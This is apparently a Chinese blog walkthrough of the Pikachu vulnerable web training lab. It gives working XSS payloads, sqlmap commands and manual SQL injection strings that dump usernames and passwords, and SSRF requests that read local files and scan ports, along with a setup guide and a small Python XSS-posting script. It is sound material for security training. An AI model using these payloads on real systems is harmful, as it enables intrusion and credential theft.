pikachu靶场通关攻略

1. 暴力破解

1.1基于表单的暴力破解

img

设置两个变量,选择爆破模式后导入账号密码所使用的字典

img

选择长度不一样的账密进行登陆尝试

imgimg

1.2 验证码绕过

同样使用bp抓包发送到intruder模块,导入字典后进行爆破

img

1.3.验证码绕过

在intruder模块里验证码可复用

imgimg

1.4 token爆破

imgimg

复制value值

img

粘贴到此处

img

设置资源池

img

img

2. XSS

2.1 反射型XSS

更改前端的字符限制。

<script>alert('xss')</script>

2.2 反射性XSS(POST)

img

先输入用户名和密码进行登录

img

接着构造payload语句

img

2.3 存储型XSS

直接输入点击提交会自动存储到留言板,再次打开依旧会进行弹窗。

img

2.4 DOM型XSS

img

随便输入字符,进行查看源代码

img

构造payload,进行字符串闭合完成弹窗

’ οnclick=“alert(‘xss’)”>

img

2.5 DOM型XSS-X

上一关的方式相同

img

2.6 XSS之盲打

看到登录框,构造了语句,进行提交。

img

根据右上角的提示,登录后台地址。输入账号密码

img

点击登录直接进行了弹窗,说明我们提交的数据被后台存储。

imgimg

2.7 XSS之过滤

使用原有的被全部过滤的剩一个>

imgimg

构造javascript伪协议绕过
<a href="" onclick="alert('xss')">

img

2.8 XSS之htmlspecialchars

单引号被过滤

img

<a href='' onclick='alert("xss")'>

使用双引号进行构造payload

img

2.9 XSS之href输出

利用JavaScript 代码段

javascript:alert(666)

img

2.10 XSS之输出

img

尝试闭合script

img

3. CSRF

3.1 CSRF(get)

右上角提示,登陆后点击修改个人信息并同时进行抓包

img

修改phonenum为666666,点击send发送

img

成功利用url修改了lucy密码

img

3.2 CSRF(POST)

原始数据包:

img

修改lili密码为6666666

img

与get提交方式不同

3.3 CSRF Token

4. SQL注入

4.1 数字型注入(POST)

img

4.2 字符型注入(get)

’ or ‘1’='1

img

4.3 搜索型注入

使用sqlmap爆破注入点:

python sqlmap.py -u “http://10.4.7.130/pikachu-master/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2” --batch

img

爆破数据库

python sqlmap.py -u “http://10.4.7.130/pikachu-master/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2” --dbs --batch

img

爆破数据表

python sqlmap.py -u “http://10.4.7.130/pikachu-master/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2” -D “pikachu” --tables --batch

img

Dump全部数据

img

4.4 XX型注入

直接使用sqlmap跑数据,与搜索型相似

4.5 “ insert/update ” 注入

img

根据提示进行注册并抓包

img

接着使用sqlmap进行爆破

python sqlmap.py -u “http://10.4.7.130/pikachu-master/vul/sqli/sqli_iu/sqli_reg.php” --data “username=yyy&password=1111&sex=&phonenum=&email=&add=&submit=submit” --batch

img

找到注入点后就是继续爆破库名、表名、内容。

4.6 “ delete ” 注入

在留言板留言删除并抓包,更改id的数据。也可将包直接保存到文档使用sqlmap跑数据。

img

查询所有表

?id=58+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),1)

img

查询所有字段

?id=58+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name=‘users’),0x7e),1)

img

查询数据

?id=58+and+updatexml(1,concat(0x7e,substr((select+group_concat(id,‘:’,username,‘:’,password)+from+users),1,31),0x7e),1)

img

4.7 “ http header ” 注入

右上角的用户密码登录并抓包

img

尝试对ua头进行注入

img

之后与报错注入手法相似,delete关使用的报错注入手工注入。

4.8 布尔盲注

img

复制url到sqlmap中测试

python sqlmap.py -u “http://10.4.7.130/pikachu-master/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2”

python sqlmap.py -u http://10.4.7.130/pikachu-master/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2 --batch

img

接着可以跑数据库、表名以及数据。

4.9 时间盲注

与布尔盲注相似,可抓包使用sqlmap直接跑

4.10 宽字节注入

name=1%df’ union select version(),database() --+name=1

img

查表

name=1%df’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

img

查字段名

name=1%df’ union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273–+

img

爆数据库

name=1%df’ union select group_concat(username),group_concat(password) from pikachu.users --+

img

5. RCE

5.1 exec “ ping ”

img

5.2 Exec “ eval ”

imgimg

6. 文件包含

6.1 file inclusion(local)本地包含

img

尝试修改文件名

img

6.2 File inclusion(remote)远程包含

imgimg

7. unsafe filedownload

img

修改下载的文件名,可直接得到其余文件

imgimg

8. unsafe filedown

8.1 client check

删除onchange里的函数,上传文件并成功连接

img

成功上传文件

imgimg

8.2 MIME type

修改文件格式,成功上传文件

imgimg

8.3 Getiagesize

制作图片码

imgimg

img

9. Over permission

9.1 水平越权

img

尝试更改URL

imgimg

9.2 垂直越权

抓取pikachu和admin添加用户的数据

img

img

更改cookie值为普通用户的,并更改用户信息并发送,就可以成功越权操作添加用户

img

刷新页面数据

img

10. 目录遍历

img

更改url

img

11. 敏感信息泄露

随便输入一个账密,显示密码错误,查看页面源代码

img

imgimg

12. PHP反序列化

写一段php代码并运行出结果,序列化一个xss的弹窗
`<?php

class S{

var $test=“”;

}

$a=new S();

echo serialize($a)

?>`

将序列化后的字符输入在提示框里

O:1:“S”:1:{s:4:“test”;s:27:“”;}img

13. XXE

14. URL重定向

随便点击连接并观察url

img

更改url可直接实现跳转

imgimg

直接访问文件也可实现文件的下载

img

15. SSRF

15.1 SSRF(curl)

观察url链接

http://localhost/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info1.php

可进行端口扫描,读取本地文件,内网指纹识别等

读取本地文件:

?url=file://c:\windows\system32\drivers\etc\hosts

img

端口扫描

?url=dict://127.0.0.1:3306

img

WEb应用指纹识别

img

15.2 SSRF(file_get_concent)

使用php://filter读取文件

imgimg

### Pikachu 靶场安装教程 对于希望在本地环境中搭建并运行Pikachu靶场的人来说,可以从浏览器下载链接`https://codeload.github.com/zhuifengshaonianhanlu/pikachu/zip/refs/heads/master`获取项目资源[^1]。下载完成后得到的是压缩包形式的文件,需将其解压至`phpstudy_pro/WWW`目录下以便于通过PHPStudy Pro环境访问。 为了确保能够顺利部署Pikachu靶场,在完成上述操作之后还需要确认服务器配置正确无误,并启动Web服务使得可以通过浏览器访问到应用页面。通常情况下,默认端口设置为80或8086,具体取决于个人配置情况以及是否有其他服务占用这些端口号。 一旦成功部署完毕,则可以在浏览器输入框内键入类似`localhost:8086/pikachu-master/vul/xss/xssblind/admin_login.php`这样的URL来验证是否可以正常加载目标网页[^2]。 ### Pikachu 靶场通关攻略概览 针对XSS漏洞练习模块中的盲型跨站脚本攻击部分,用户应当尝试理解如何利用JavaScript代码注入技术绕过现有防护机制实现对管理员账户登录状态的操作控制。这不仅涉及到HTML标签属性值内的恶意代码嵌入技巧,还包括了对HTTP请求参数传递方式的理解与运用。 除了掌握基本概念外,实际动手实践也是不可或缺的一环。建议读者仔细阅读官方文档说明,积极参与社区交流讨论,不断积累经验教训从而提高解决问题的能力水平。 ```python # 示例Python代码用于模拟发送带有payload的有效载荷给服务器 import requests url = "http://example.com/login" data = {"username": "<script>alert('XSS')</script>", "password": ""} response = requests.post(url, data=data) print(response.text) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值